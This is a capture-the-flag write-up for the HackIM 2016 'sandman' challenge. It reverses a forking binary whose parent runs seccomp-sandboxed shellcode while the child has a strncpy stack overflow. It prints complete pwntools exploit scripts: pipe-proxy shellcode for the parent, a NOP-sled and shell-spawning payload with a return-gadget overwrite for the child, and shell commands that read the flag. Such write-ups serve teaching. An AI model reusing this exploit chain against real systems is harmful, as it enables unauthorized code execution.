sandman
[hackim, 2016]
- Category: exploitation
- Points: 200
Write-up
So we are given a x86_64 ELF binary and a network port it was running on. First thing is I always check the enabled exploit mitigation techniques, so that I know what I'm dealing with. Turns out everything is disabled. We don't know about ASLR, so we must assume it's turned on (it wasn't).
$ checksec sandman
[*] '/ctf/hackim2016/exploitation/2_sandman/sandman'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
Connecting to the service doesn't give much output. So let's try to find out
what it is doing. Naturally I throw it into radare2 and
have look. Unfortunately there is no output from the binary, so you can't
really tell what it's doing. I used ltrace
and strace
to confirm that I can
trigger the right execution paths with my input.
Fire up r2 -A ./sandman
and s main
. I then used Vp
to get into visual
mode. Basically the first thing the binary does is
│ └─> 0x00400ebc e8bffbffff call sym.imp.fork
│ 0x00400ec1 85c0 test eax, eax
│ ┌─< 0x00400ec3 7532 jne 0x400ef7
Remember: fork
returns the pid of the child process in the parent process and
zero in the child process. So the parent will continue at 0x400ef7
. We can
just press enter to follow that jump in visual mode. We'll look at the child
process later.
Parent Process
The first thing the parent does is setting up a couple of signal handlers. Basically it's the same handler for all the signals.
│ 0x00400f06 be7d0b4000 mov esi, 0x00400b7d ; "UH..H....}........" @ 0x400b7d
│ 0x00400f0b bf0b000000 mov edi, 0xb
│ 0x00400f10 e81bfbffff call sym.imp.signal ;[1]
Let's have a look at this signal handler. We can use s 0x00400b7d
to jump to
the signal handlers code. In visual mode you can use :
to enter normal radare
commands. radare's analysis hasn't detected this piece of code as a separate
function so we'll use df
in visual mode to make a function. Because it's the
signal handlers we'll use dr
in visual mode to rename the function. The
signal handler itself is rather boring.
(fcn) fcn.signalhandler 26
│ ; var int local_0_1 @ rbp-0x1
│ ; DATA XREF from 0x00400f06 (fcn.signalhandler)
│ ; DATA XREF from 0x00400f15 (fcn.signalhandler)
│ ; DATA XREF from 0x00400f24 (fcn.signalhandler)
│ ; DATA XREF from 0x00400eca (fcn.signalhandler)
│ 0x00400b7d 55 push rbp
│ 0x00400b7e 4889e5 mov rbp, rsp
│ 0x00400b81 4883ec10 sub rsp, 0x10
│ 0x00400b85 897dfc mov dword [rbp - 4], edi
│ 0x00400b88 e803feffff call sym.imp.getpid ;[1]
│ 0x00400b8d bf01000000 mov edi, 1
╘ 0x00400b92 e8d9feffff call sym.imp.exit ;[2]
Note that the child sets up the same handler for SIGALRM
. The call to
getpid
seems rather useless here. Maybe we can use it later during
exploitation, by overwriting the getpid GOT entry. (Spoiler: we won't) So the
parents sets up this signal handler for 0xb, 5, 0xe
. We can find out what
signals those are with a simple cat /usr/include/asm/signal.h | grep $num
.
Turns out the signals are SIGSEV, SIGTRAP, SIGALRM
repsectively. (Hint: you
can quickly convert between hex/dec in radare using ?vd 0x1234
or ?v 1234
.)
So let's move on. Next the main function performs a read. Remember we're on
x86_64 so parameters are passed in the register RDI, RSI, RDX, RCX, R8, R9, XMM0 - 7
. I like to annotate calls to library functions with their C
declarations and in which register the parameters are. You can add comments in
visual mode by pressing ;
.
│ 0x00400f3d c745dc000000. mov dword [rbp-local_4_4], 0
│ 0x00400f44 488d45dc lea rax, qword [rbp-local_4_4]
│ 0x00400f48 ba04000000 mov edx, 4
│ 0x00400f4d 4889c6 mov rsi, rax
│ 0x00400f50 bf00000000 mov edi, 0
│ 0x00400f55 e8a6faffff call sym.imp.read ; ssize_t read(int fd /*rdi*/, void *buf /*rsi*/, size_t count /*rdx*/);
So this is translates to a read(0, &length, 4);
. Probably this is a integer
we'll see that it's used as a length. Next instructions test whether this is 0
and the follows a call to mmap, which maps exactly as much bytes as given by
the user.
│ │ 0x00400f7f 4889c6 mov rsi, rax ; size_t length, user input
│ │ 0x00400f82 bf00000000 mov edi, 0 ; void* addr
│ │ 0x00400f87 e834faffff call sym.imp.mmap
│ │ 0x00400f8c 488945f0 mov qword [rbp-local_2], rax
What follows is another call to read, which reads exactly as much data into the newly mmaped buffer as in length.
So let's see what happens next. We can see that there are some calls to
seccomp functions. We'll skip these
for now and see what happens after those. Here is a very interesting piece of
code. This loads the address of the mmap
ed area into rdx
and jumps to it.
│ ││││││└─> 0x004010eb 488b45f0 mov rax, qword [rbp-local_2]
│ ││││││ 0x004010ef 488945e0 mov qword [rbp-local_4], rax
│ ││││││ 0x004010f3 488b55e0 mov rdx, qword [rbp-local_4]
│ ││││││ 0x004010f7 b800000000 mov eax, 0
│ ││││││ 0x004010fc ffd2 call rdx
So what the parent process does is someting like this in pseudo-C:
int32_t length;
char* addr;
read(stdin, &length, 4);
addr = mmap(NULL, length, ...);
read(stdin, addr, length);
// initialize seccomp sandbox
[...]
// call shellcode
addr();
So we can send the parent process our shellcode and it will happily execute it.
Unfortunately we are sandboxed with seccomp, so we probably won't be able to do
anyting useful. Note that the seccomp sandbox is set up after the call to
fork
so the child process is not sandboxed. I assume the idea is to use the
parent process as a proxy for exploiting the child process.
Before reversing the seccomp calls I wrote a python script to interact with the parent process. To verify that the shellcode execution works I patched out the seccomp sandbox. This can be easily done using radare.
cp sandman sandman_noseccomp
r2 -w -A ./sandman_noseccomp
Note the -w
flag to open in read/write mode. You can also use oo+
to change
the mode in the radare shell. I navigated to the following point in visual
mode.
│ ││└─> 0x00401008 bf00000000 mov edi, 0
│ ││ 0x0040100d e83ef9ffff call sym.imp.seccomp_init
Using the visual assembler (press A
) you can easily patch binaries. I just
inserted a jmp
instruction to the piece of code that executes our shellcode.
│ ┌──└─> 0x00401008 e9de000000 jmp 0x4010eb
│ │││ 0x0040100d e83ef9ffff call sym.imp.seccomp_init
I used the pwntools fork
binjitsu, which has a couple of nice
improvements, such as ROP on x86_64
, to interact with the binary. And indeed
it does give us a nice shell.
from pwn import * # NOQA
context.os = 'linux'
context.arch = 'amd64'
vulnbin = "./sandman_noseccomp"
velf = ELF(vulnbin)
sc = asm(shellcraft.amd64.linux.sh())
vp = process(vulnbin)
#vp = remote(...)
vp.send(p32(len(sc)))
vp.send(sc)
vp.clean_and_log()
vp.interactive()
Seccomp Sandbox
So let's see what the seccomp sandbox allows us to do. There interesting parts
are the calls to seccomp_rule_add
, which has the following signature:
int seccomp_rule_add(scmp_filter_ctx ctx, // rdi
uint32_t action, // rsi
int syscall, // rdx
unsigned int arg_cnt, // rcx
...);
#define SCMP_ACT_ALLOW 0x7fff0000U
In the binary there are four nearly identical calls to the this function, so we are probably allowed to do 4 different syscalls. Let's look at one of those calls.
│ │││└─> 0x00401022 488b45e8 mov rax, qword [rbp-local_3]
│ │││ 0x00401026 b900000000 mov ecx, 0 ; unsigned int arg_cnt
│ │││ 0x0040102b ba00000000 mov edx, 0 ; int syscall
│ │││ 0x00401030 be0000ff7f mov esi, 0x7fff0000 ; uint32_t action
│ │││ 0x00401035 4889c7 mov rdi, rax ; scmp_filter_ctx ctx
│ │││ 0x00401038 b800000000 mov eax, 0
│ │││ 0x0040103d e83ef9ffff call sym.imp.seccomp_rule_add
This is repeated for the following syscalls:
- 0 = read
- 1 = write
- 60 = exit
- 231 = exit_group
Note that arg_cnt
is set to 0 and no further arguments are given. This means
we can call the syscalls with any parameters we like.
Child Process
So we have a pretty good idea of what we can do in the parent process. Now to find out how to take over the child process. Before the fork the process sets up a pipe so that parent and child process can communicate.
│ 0x00400e8e 488d45d0 lea rax, qword [rbp-local_6]
│ 0x00400e92 4889c7 mov rdi, rax
│ 0x00400e95 e856fbffff call sym.imp.pipe ;[1]
The signature of pipe looks like this:
int pipe(int pipefd[2]);
pipefd[0]
being the read end and pipefd[1]
being the write end of the pipe.
As no other files are opened we can assume that the filedescriptor stored in
pipefd
will be {3, 4}
. We can confirm this using strace
:
$ strace ./sandman
[...]
pipe([3, 4]) = 0
[...]
The child process also sets up the alarm handler and then calls it's "main" function. Passing the filedescriptor of the read end of the pipe as parameter.
│ │ 0x00400ec5 e8c6faffff call sym.imp.getpid
│ │ 0x00400eca be7d0b4000 mov esi, 0x400b7d
│ │ 0x00400ecf bf0e000000 mov edi, 0xe
│ │ 0x00400ed4 e857fbffff call sym.imp.signal
│ │ 0x00400ed9 bf05000000 mov edi, 5
│ │ 0x00400ede e8fdfaffff call sym.imp.alarm
│ │ 0x00400ee3 8b45d0 mov eax, dword [rbp-local_6]
│ │ 0x00400ee6 89c7 mov edi, eax
│ │ 0x00400ee8 e83effffff call fcn.child_main
│ │ 0x00400eed bf00000000 mov edi, 0
│ │ 0x00400ef2 e879fbffff call sym.imp.exit
We can quickly spot that this function reads one byte at a time from the pipe
and calls the following function, I called handle_byte_read
. Note that eax is
here the read byte, passed as parameter. So the byte must be 0xe
so that we
get to the interesting function. This function can be very easily understood by
pressing V
a second time in visual mode, so that we get the nice control flow
graph view.
│ 0x00400df3 83f801 cmp eax, 1
│ ┌─< 0x00400df6 7c30 jl 0x400e28
│ │ 0x00400df8 83f805 cmp eax, 5
│ ┌──< 0x00400dfb 7e07 jle 0x400e04
│ ││ 0x00400dfd 83f80e cmp eax, 0xe
│ ┌───< 0x00400e00 7414 je 0x400e16
│ ┌────< 0x00400e02 eb24 jmp 0x400e28
│ ││││ ; JMP XREF from 0x00400dfb (fcn.handle_byte_read)
│ ││└──> 0x00400e04 0fbe45f8 movsx eax, byte [rbp-local_1]
│ ││ │ 0x00400e08 8b55fc mov edx, dword [rbp-local_0_4]
│ ││ │ 0x00400e0b 89d6 mov esi, edx
│ ││ │ 0x00400e0d 89c7 mov edi, eax
│ ││ │ 0x00400e0f e8bdffffff call fcn.load_esi_al_ret
│ ││┌──< 0x00400e14 eb13 jmp 0x400e29
│ ││││ ; JMP XREF from 0x00400e00 (fcn.handle_byte_read)
│ │└───> 0x00400e16 0fbe45f8 movsx eax, byte [rbp-local_1]
│ │ ││ 0x00400e1a 8b55fc mov edx, dword [rbp-local_0_4]
│ │ ││ 0x00400e1d 89d6 mov esi, edx
│ │ ││ 0x00400e1f 89c7 mov edi, eax
│ │ ││ 0x00400e21 e8a4feffff call fcn.read_more_input
│ │┌───< 0x00400e26 eb01 jmp 0x400e29
│ ││││ ; JMP XREF from 0x00400df6 (fcn.handle_byte_read)
│ ││││ ; JMP XREF from 0x00400e02 (fcn.handle_byte_read)
│ └──└─> 0x00400e28 90 nop
│ ││ ; JMP XREF from 0x00400e14 (fcn.handle_byte_read)
│ ││ ; JMP XREF from 0x00400e26 (fcn.handle_byte_read)
│ └└──> 0x00400e29 c9 leave
╘ 0x00400e2a c3 ret
The function read_more_input
at 0x00400cca
basically reads a size from the
pipe, then allocates that much space (if it's below page size 0x1000
) and
fills this buffer by reading from the pipe. If everything went well it calls
another very suspicious function at 0x00400bac
, passing it the newly
allocated and filled buffer. I didn't bother reversing much because this
function has a very suspicious pattern of calling C string functions.
strncmp
strlen
atoi
strlen
strncpy
First keep in mind that the function allocates 0x230 == 560
bytes, and that
the parameter (the buffer) is stored at local_69
.
│ 0x00400bb0 4881ec300200. sub rsp, 0x230
│ 0x00400bb7 4889bdd8fdff. mov qword [rbp-local_69], rdi
So let's take a closer look at the function calls:
│ 0x00400bd3 ba07000000 mov edx, 7
│ 0x00400bd8 be96114000 mov esi, str.http:__ ; "http://" @ 0x401196
│ 0x00400bdd 4889c7 mov rdi, rax
So apparently our input must start with the string http://
. And then at the
end of the function we have:
│ └──────> 0x00400c7b 488b85d8fdff. mov rax, qword [rbp-local_69]
│ │ 0x00400c82 4883c007 add rax, 7
│ │ 0x00400c86 488945e8 mov qword [rbp-local_3], rax
│ │ 0x00400c8a 488b45e8 mov rax, qword [rbp-local_3]
│ │ 0x00400c8e 4889c7 mov rdi, rax
│ │ 0x00400c91 e81afdffff call sym.imp.strlen
Which calls strlen
on the user provided data + 7, ignoring the http://
prefix. Then there is a call to strncpy
which uses the string length of
the userinput and copies it onto the stack.
│ │ 0x00400c96 4889c2 mov rdx, rax ; size_t n == strlen(userinput+7)
│ │ 0x00400c99 488b4de8 mov rcx, qword [rbp-local_3] ; char* src = userinput+7
│ │ 0x00400c9d 488d85e0fdff. lea rax, qword [rbp-local_68] ; char* dest = somewhere on the stack
│ │ 0x00400ca4 4889ce mov rsi, rcx
│ │ 0x00400ca7 4889c7 mov rdi, rax
│ │ 0x00400caa e8b1fcffff call sym.imp.strncpy
Classic stack based buffer overflow.
Exploiting the Child Process
First of all I created a patched binary, that skips the forking and changes
pipefd[0]
to 0
, so that I can directly communicate with the child process.
This is just a matter of writing a lot of nop
instructions with radare. I
also remove the call to alarm
, because that would be very annoying during
debugging. I then confirmed that I can trigger the vulnerability using ltrace
.
python -c "print(chr(0xe) + ')\x00\x00\x00' + 'http://ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')" | ltrace ./sandman_child
__libc_start_main(0x400e7f, 1, 0x7fff635846f8, 0x401110 <unfinished ...>
pipe(0x7fff635845e0) = 0
getpid() = 32408
signal(SIGALRM, 0x400b7d) = 0
read(0, "\016", 1) = 1
read(0, ")", 4) = 4
calloc(42, 1) = 0x1cee010
read(0, "http://ABCDAAAAAAAAAAAAAAAAAAAAA"..., 41) = 41
strncmp("http://ABCDAAAAAAAAAAAAAAAAAAAAA"..., "http://", 7) = 0
strlen("http://ABCDAAAAAAAAAAAAAAAAAAAAA"...) = 41
strlen("ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 34
strncpy(0x7fff63584310, "ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 34) = 0x7fff63584310
read(0, "\n", 1) = 1
read(0, "", 1) = 0
exit(0 <no return ...>
+++ exited (status 0) +++
Now we can see that everything happened exactly as predicted. And the destination for the strncpy is indeed on the stack. Now we need to develop a reliable exploit for the child process.
So I used a combination of binjitsu
and gdb
with the
peda plugin to develop my exploit. First I
didn't go through the parent process, so that debugging is easier.
Now we cannot have NULL
bytes in the buffer, or else strncpy
won't copy
them onto the stack. This makes exploitation a little bit tricky. We
effectively cannot use ROP because most or probably all gadgets have NULL
bytes in their addresses. This also makes return to libc very hard, as we
cannot easily control the parameters, which are passed in the registers.
Exploitation Attempts
Fortunately the child does not call dup2
so stdin and stdout can be used in
the child process as usual. This means we can also interact with a shell
spawned in the child process, as long as the parent process doesn't try to read
from stdin. Output should never be a problem.
My first attempt was the following:
- Leak address of read from the parent process. Because
fork
doesn't change the address space layout, we can compute the base address of the libc for both the child and the parent process. - Overwrite return address with the address of
system
executing the command thatrdi
points to.
This should work because when we return from the vulnerable function, rdi
contains a pointer to our buffer on the stack, directly after the http://
prefix. Because the first and only parameter to system
is passed in rdi
we
put our command directly after the http://
. So that's what I did. In gdb
we
can see that everything looks good.
Breakpoint 2 at 0x400cc9
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
RAX: 0x1111
RBX: 0x0
RCX: 0x1111
RDX: 0x4142434445464748 ('HGFEDCBA')
RSI: 0x1111
RDI: 0x7ffc467f0f00 ("/bin/sh ; # ", '\220' <repeats 188 times>...)
RBP: 0x4041424345464748 ('HGFECBA@')
RSP: 0x7ffc467f1128 --> 0x7f7b40863890 (<system>: test rdi,rdi)
RIP: 0x400cc9 (ret)
R8 : 0x5
R9 : 0x240
R10: 0x18c
R11: 0x7f7b40984810 --> 0xfff36250fff36240
R12: 0x400a90 (xor ebp,ebp)
R13: 0x7ffc467f12e0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x400cc0: mov rdi,rax
0x400cc3: call 0x400b97
0x400cc8: leave
=> 0x400cc9: ret
0x400cca: push rbp
0x400ccb: mov rbp,rsp
0x400cce: sub rsp,0x30
0x400cd2: mov eax,edi
[------------------------------------stack-------------------------------------]
0000| 0x7ffc467f1128 --> 0x7f7b40863890 (<system>: test rdi,rdi)
0008| 0x7ffc467f1130 --> 0x7ffc467f1084 --> ('A' <repeats 115 times>, "jhH...")
0016| 0x7ffc467f1138 --> 0x7f0e00000000
0024| 0x7ffc467f1140 --> 0x0
0032| 0x7ffc467f1148 --> 0x0
0040| 0x7ffc467f1150 --> 0x12a0010 ("http:///bin/sh ; # ", '\220' <repeats 181 times>...)
0048| 0x7ffc467f1158 --> 0x23500000235
0056| 0x7ffc467f1160 --> 0x7ffc467f1180 --> 0x7ffc467f11b0 --> 0x7ffc467f1200 --> 0x401110 (push r15)
[------------------------------------------------------------------------------]
Looks good so far. Unfortunately I didn't get any output, from the launched shell command. In gdb I could see that bash was being executed but for some reason there was no output.
My second attempt was to jump to the magic shell spawning gadget in the libc.
In all glibc there is a magic gadget which will call execve
and use the
string /bin/sh
as first parameter. This is part of the system
code. So I
opened my libc in radare and search for this gadget.
So the new plan is:
- Leak libc base address.
- Compute address of magic shell spawning gadget.
- Overwrite return address.
Again in the debugger I can confirm that it works as expected. Again somehow the environment prevents me from interacting with the spawned shell. This is the only output I get from the child process.
00000000 10 6e da 16 fd 7f 3a 20 eb 01 90 c9 c3 55 48 89 │·n··│··: │····│·UH·│
00000010 e5 48 83 ec 20 89 7d ec c7 45 fc 3a 20 4e 6f 20 │·H··│ ·}·│·E·:│ No │
00000020 73 75 63 68 20 66 69 6c 65 20 6f 72 20 64 69 72 │such│ fil│e or│ dir│
00000030 65 63 74 6f 72 79 0a │ecto│ry·│
00000037
At this point I gave up. This is not actually a good challenge anymore, it's just annoying. Having everything in place but not being able to actually get useful output was very frustrating. But it kept bothering me, I was so close. So I decided to try solve it even though the CTF was already over.
I missed a very obvious thing during debugging. If we look at the stack print
of peda
right before the return, we can see that directly after the return
address there is a pointer in the middle of our buffer on the stack.
[------------------------------------stack-------------------------------------]
0000| 0x7ffc467f1128 --> 0x7f7b40863890 (<system>: test rdi,rdi)
0008| 0x7ffc467f1130 --> 0x7ffc467f1084 --> ('A' <repeats 115 times>, "jhH...")
Remember there is no NX
so we can jump to our buffer on the stack and execute
code. So the new plan is:
- Put shellcode inside buffer (must not contain
NULL
bytes) - Overwrite return address to point to another
return
instruction - Return again to our buffer, executing our shellcode
- Spawn shell
Fortunately this finally resulted in a working exploit :) This is the stack right before the return:
[------------------------------------stack-------------------------------------]
0000| 0x7ffed1577438 --> 0x401174 (ret)
0008| 0x7ffed1577440 --> 0x7ffed1577394 --> 0x9090909090909090
Two returns later we are in the shellcode :) I used the shell spawning
shellcode shellcraft.amd64.linux.sh
from binjitsu
. For more details here is
the python script I wrote:
from pwn import * # NOQA
context.os = 'linux'
context.arch = 'amd64'
velf = ELF('./sandman')
def child_pwn(read_leak=None):
# we can control this registers via the buffer
rdx = 0x4142434445464748
rbp = 0x4041424345464748
rsi = 0x1111 # == rax == rcx
# rdi = directly into our buffer, right after http://
pl = ""
pl += "B"
pl += p64(rdx)
pl += "KLMNOP"
pl += p16(rsi)
pl += p64(rbp)
#cmd = "touch pwnd; id; ;pwd;ls -al;cat flag; #"
#pl = "http://" + cmd + 'A' * (560 - 8 - len(pl) - len(cmd)) + pl
#libc = ELF("/usr/lib64/libc-2.22.so")
#offset_read = libc.symbols['read']
#offset_system = libc.symbols['system']
#libc_base = read_leak - offset_read
#log.info("libc base is: " + hex(libc_base))
#system = libc_base + offset_system
#log.info("Computed system addr at: " + hex(system))
#magic_gadget_offset = 0x0003f76a # on arch
#magic = libc_base + magic_gadget_offset
#log.info("Computed magic /bin/sh gadget at: " + hex(magic))
# ok apparently all the this was for nothing, as there is another pointer
# to our buffer on the stack directly after our return address, so we can
# just return again and jump to our shellcode...
retgadget = 0x00401174
sc = shellcraft.amd64.linux.sh()
pl = asm(sc) + pl
nop = asm(shellcraft.amd64.nop())
pl = "http://" + nop * (560 - 8 - len(pl)) + pl
# return addr overwrite
#pl += p64(system)
#pl += p64(magic)
pl += p64(retgadget)
log.info("using payload:\n" + hexdump(pl))
if "\x00" in pl[:-2]:
log.warn("NULL bytes in payload!")
pl = pl.rstrip("\x00")
pl = chr(0xe) + p32(len(pl)) + pl
return pl
if __name__ == "__main__":
context.log_level = 'debug'
vulnbin = "./sandman_child"
velf = ELF(vulnbin)
#vp = process(["ltrace", vulnbin])
#vp = process(["strace", vulnbin])
vp = process(vulnbin)
gdb.attach(vp)
read = int(raw_input("read addr (hex): "), 16)
vp.send(child_pwn(read))
vp.sendline("\nls -al; pwd; id")
vp.clean_and_log()
vp.interactive()
The Parent Process Exploit Proxy
Of course we need to proxy our input through the parent process. The parent process can read and write to stdin, stdout and the child process via the pipe. So I used a shellcode for the parent process that does the following:
- Read a size from stdin. If the size is 0, then loop infinitely.
- Allocate size bytes on the stack.
- Read size bytes onto the stack.
- Write size bytes to the pipefd 4
- goto 1
For more details see the python script:
from pwn import * # NOQA
context.os = 'linux'
context.arch = 'amd64'
vulnbin = "./sandman"
velf = ELF(vulnbin)
# warning this won't work because of seccomp filters!
#sc = asm(shellcraft.amd64.linux.sh())
context.log_level = 'info'
sc64 = shellcraft.amd64
sc = ""
sc += sc64.pushstr("hellooo!")
sc += sc64.write(1, 'rsp', 8)
sc += sc64.write(1, velf.got['read'], 8)
sc += """
xor rax, rax
push rax
loop:
/* read 8 bytes == length */
{}
pop rax
/* stop forwarding if zero */
test rax, rax
jz end
/* allocate length bytes on stack */
sub rsp, rax
/* read length bytes */
push rax
mov rdi, rsp
add rdi, 8
{}
pop rax
/* write length bytes */
push rax
mov rdi, rsp
add rdi, 8
{}
pop rax
/* write length bytes to stdout, for 'debugging' */
push rax
mov rdi, rsp
add rdi, 8
{}
pop rax
add rsp, rax
jmp loop
end:
""".format(sc64.read(0, 'rsp', 8),
sc64.read(0, 'rdi', 'rax'),
sc64.write(4, 'rdi', 'rax'),
sc64.write(1, 'rdi', 'rax'))
sc += sc64.pushstr("bye_bye_")
sc += sc64.write(1, 'rsp', 8)
sc += sc64.infloop()
sc += sc64.exit(42)
log.info("using shellcode:\n" + sc)
sc = asm(sc)
vp = process(vulnbin)
context.log_level = 'debug'
vp.send(p32(len(sc)))
vp.send(sc)
log.info("received hello:\n" + vp.recv(8))
readaddr = u64(vp.recv(8))
log.info("received readaddr: " + hex(readaddr))
from child_pwn import child_pwn
childinput = child_pwn(readaddr)
vp.send(p64(len(childinput)))
vp.send(childinput)
vp.clean_and_log()
vp.send(p64(0))
vp.clean_and_log()
context.log_level = "info"
vp.sendline("id; pwd; ls -al; cat flag")
#vp.sendline("find / -name flag | xargs cat")
vp.interactive()